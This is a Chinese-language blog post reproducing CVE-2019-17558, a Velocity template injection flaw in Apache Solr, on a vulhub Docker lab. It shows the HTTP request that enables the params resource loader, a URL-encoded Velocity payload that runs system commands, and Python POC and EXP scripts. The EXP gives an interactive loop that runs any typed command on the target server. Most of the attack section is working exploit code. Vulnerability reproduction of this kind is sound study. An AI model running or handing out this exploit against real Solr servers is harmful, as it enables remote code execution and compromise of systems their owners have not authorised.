Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)复现,python编写POC和EXP

环境搭建:

使用vulhub,进入对应文件夹启动环境:


[root@localhost ~]# cd /home/vulhub/solr/CVE-2019-17558/
[root@localhost CVE-2019-17558]# docker-compose up -d

查看端口:


[root@localhost CVE-2019-17558]# docker ps
CONTAINER ID   IMAGE               COMMAND                  CREATED          STATUS          PORTS                                       NAMES
097953dccacc   vulhub/solr:8.2.0   "docker-entrypoint.s…"   23 minutes ago   Up 23 minutes   0.0.0.0:8983->8983/tcp, :::8983->8983/tcp   cve-2019-17558_solr_1
[root@localhost CVE-2019-17558]# 

漏洞复现:

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

Vulhub里唯一的核心是demo:
通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:

POST /solr/demo/config HTTP/1.1
Host: 192.168.10.10:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

之后,注入Velocity模板即可执行任意命令:


http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

在这里插入图片描述

POC编写:

import requests,re


url = "http://192.168.10.10:8983/"

api = "solr/admin/cores?indexInfo=false&wt=json"

api_res = requests.get(url+api)  # 获取所有的核心

name = re.findall('"name":"(.*)",',api_res.text)
for i in name[0:2]:  # 遍历3个核心开启params.resource.loader.enabled
    enabled = url + f"/solr/{i}/config"
    burp0_headers = {"Content-Type": "application/json"}
    burp0_json = {"update-queryresponsewriter": {"class": "solr.VelocityResponseWriter", "name": "velocity",
                                                 "params.resource.loader.enabled": "true",
                                                 "solr.resource.loader.enabled": "true", "startup": "lazy",
                                                 "template.base.dir": ""}}
    requests.post(enabled, headers=burp0_headers, json=burp0_json)  # 开启params.resource.loader.enabled
    poc = f"solr/{i}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27echo wwwq%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    res = requests.get(url + poc)
    if "wwwq" in res.text[0:20]: #执行的 echo wwwq 命令
        print("CVE-2019-17558  存在")

pycharm运行结果:
在这里插入图片描述

EXP编写:

import requests,re


url = "http://192.168.10.10:8983/"

api = "solr/admin/cores?indexInfo=false&wt=json"

api_res = requests.get(url+api)  # 获取所有的核心

name = re.findall('"name":"(.*)",',api_res.text)
for i in name[0:2]:  # 遍历3个核心开启params.resource.loader.enabled
    enabled = url + f"/solr/{i}/config"
    burp0_headers = {"Content-Type": "application/json"}
    burp0_json = {"update-queryresponsewriter": {"class": "solr.VelocityResponseWriter", "name": "velocity",
                                                 "params.resource.loader.enabled": "true",
                                                 "solr.resource.loader.enabled": "true", "startup": "lazy",
                                                 "template.base.dir": ""}}
    requests.post(enabled, headers=burp0_headers, json=burp0_json)  # 开启params.resource.loader.enabled
    poc = f"solr/{i}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27echo wwwq%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    res = requests.get(url + poc)
    if "wwwq" in res.text[0:20]: #执行的 echo wwwq 命令
        print("CVE-2019-17558  存在")

        while 1 :
            exp = poc.replace("echo wwwq",input("请输入你要执行的命令:"))
            print(requests.get(url + exp).text[8:-1])

pycharm运行结果:
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值